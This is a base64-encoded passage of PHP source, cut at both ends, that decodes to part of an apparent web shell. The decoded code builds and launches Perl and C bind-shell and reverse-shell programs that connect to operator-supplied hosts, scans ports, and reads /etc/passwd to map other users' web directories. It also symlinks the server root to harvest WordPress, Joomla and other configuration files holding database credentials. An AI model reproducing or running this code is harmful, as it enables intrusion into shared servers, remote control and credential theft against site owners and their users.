cCk7DQogICAgICAgICAgICAkb3V0ID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAmIik7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgIH0NCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOw0KICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMuYyIpOw0KICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQogICAgICAgICAgICAkb3V0ID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlBvcnQgU2Nhbm5lcjwvaDE+JzsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOw0KICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPic7DQogICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsNCiAgICAgICAgJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ3N0YXJ0J10pOw0KICAgICAgICAkZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTsNCiAgICAgICAgJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsNCiAgICAgICAgZm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7DQogICAgICAgICAgICAkZnAgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsNCiAgICAgICAgICAgIGlmKCRmcCl7DQogICAgICAgICAgICAgICAgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9Z3JlZW4+b3BlbjwvZm9udD48YnI+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICc8YnIgLz48YnIgLz48Y2VudGVyPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJQb3J0U2Nhbm5lciI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT1wMT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgICAgICAgICAgIEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgIFBvcnQgc3RhcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz48YnIgLz4NCiAgICAgICAgICAgICAgUG9ydCBlbmQ6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+DQogICAgICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj48YnIgLz48YnIgLz4nOw0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7ICAgIA0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25SZWFkYWJsZSgpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogICAgaWYoJHNtKSB7DQogICAgICAgIGVjaG8gJzxiciAvPjxiPkVycm9yOiBzYWZlX21vZGUgPSBvbjwvYj48YnIgLz48YnIgLz4nOw0KICAgIH0gZWxzZSB7DQogICAgICAgIEAkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KICAgICAgICBpZiAoISRwYXNzd2QpIHsgDQogICAgICAgICAgICBlY2hvICc8YnIgLz48Yj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2Q8L2I+PGJyIC8+PGJyIC8+JzsgDQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcHViID0gYXJyYXkoKTsNCiAgICAgICAgICAgICR1c2VycyA9IGFycmF5KCk7DQogICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7DQogICAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgICB3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KICAgICAgICAgICAgICAgICRzdHIgPSBmZ2V0cygkcGFzc3dkKTsNCiAgICAgICAgICAgICAgICBpZiAoJGkgPiAzNSkgew0KICAgICAgICAgICAgICAgICAgICAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgICAgICAgICAgICAgICAgICAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KICAgICAgICAgICAgICAgICAgICBpZiAoKCR1c2VybmFtZSAhPSAnJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsNCiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkcHViKS4iIHJlYWRhYmxlIHB1YmxpY19odG1sIGRpcmVjdG9yaWVzXG4iLiI8YnIgLz48YnIgLz48YnIgLz4iOw0KICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKSB7DQogICAgICAgICAgICAgICAgJHBhdGggPSAiL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsNCiAgICAgICAgICAgICAgICBlY2hvICRwYXRoLiI8YnI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPlsrXSBDb21wbGV0ZS4uLlxuIi4iPGJyIC8+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7ICAgIA0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TeW1saW5rKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlN5bWxpbms8L2gxPic7DQogICAgJGZ1cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQogICAgJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsNCiAgICAkYnVybCA9c3RyX3JlcGxhY2UoZW5kKCRleHBsZCksJycsJGZ1cmwpOyAgDQogICAgDQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4NCiAgICAgICAgICAgICAgICA8aDM+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPkRvbWFpbnM8L2E+IF0gLSANCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3aG9sZVwnLG51bGwpIj5XaG9sZSBTZXJ2ZXIgU3ltbGluazwvYT4gXSAtIA0KICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ2NvbmZpZ1wnLG51bGwpIj5Db25maWcgZmlsZXMgc3ltbGluazwvYT4gXTwvaDM+PC9jZW50ZXI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgICAgaWYoISRkMG1haW5zKXsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgYm9yZGVyPTAgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBVc2VycyA8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHVuayA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVua1tdID0gJGRvbWFpbnNbMV1bMF07DQogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkY291bnQ9MTsNCiAgICAgICAgICAgICR1bmsgPSBhcnJheV91bmlxdWUoJHVuayk7DQogICAgICAgICAgICAkbD0wOw0KICAgICAgICAgICAgZm9yZWFjaCgkdW5rIGFzICRkKXsNCiAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZCkpOw0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyANCiAgICB9DQogDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3aG9sZScpDQogICAgew0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAgICAgJGhkdCAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KICAgICAgICAkaGZwID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgICAgICBmd3JpdGUoJGhmcCAsJGhkdCk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQogICAgICAgICAgICBAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQogICAgICAgIH0NCiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQogICAgICAgIGlmKCEkZDBtYWlucykgew0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgICRjb3VudD0xOw0KICAgICAgICAgICAgJG1jayA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpID4yKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtY2tbXSA9ICRkb21haW5bMV1bMF07DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOw0KICAgICAgICAgICAgJGw9MDsNCiAgICAgICAgICAgIGZvcmVhY2goJG1jayBhcyAkZCkgew0KICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkKSk7DQogICAgICAgICAgICAgICAgJGRkdCA9ICR1c2VyWyduYW1lJ107DQogICAgICAgICAgICAgICAgLy9Ac3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQogICAgICAgICAgICAgICAgJGRkdCA9ICRkOw0KICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiXC5pciIsJGQpIG9yIEBlcmVnaSgiXC5pbCIsJGQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGR0ID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kZC4nPC9kaXY+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50KysuIjwvdGQ+PHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly8iLiRkLicvPicuJGRkdC4nIDwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uIjwvdGQ+PHRkPjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgICANCiAgICB9DQogDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSdjb25maWcnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICBAbWtkaXIoJ3N5bScsMDc3Nyk7DQogICAgICAgICRoZHQgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KICAgICAgICAkaGZwID0gQGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCiAgICAgICAgQGZ3cml0ZSgkaGZwICwkaGR0KTsNCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsNCiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiAgICAgICAgfQ0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCiAgICAgICAgaWYoISRkMG1haW5zKSB7DQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBTY3JpcHQgPC90aD48L3RyPiI7DQogICAgICAgICAgICAkY291bnQgPSAxOw0KICAgICAgICAgICAgJGw9MDsNCiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOw0KICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSk+Mil7DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAxID0gZ2V0X2hlYWRlcnMoJGMxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAyID0gJGNoMDJbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzMgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDMgPSAkY2gwM1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDQgPSBnZXRfaGVhZGVycygkYzQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA1ID0gJGNoMDVbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzYgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNiA9ICRjaDA2WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGM3ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDcgPSBnZXRfaGVhZGVycygkYzcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjOCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDggPSAkY2gwOFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjOSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA5ID0gJGNoMDlbMF07DQogICAgICAgICAgICAgICAgICAgICAgICAkYzEwID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMCA9IGdldF9oZWFkZXJzKCRjMTApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTEgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTEgPSAkY2gxMVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMTIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMiA9ICRjaDEyWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxMyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEzID0gZ2V0X2hlYWRlcnMoJGMxMyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNCA9ICRjaDE0WzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMxNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCc7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTUgPSAkY2gxNVswXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRjZjAxLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMiw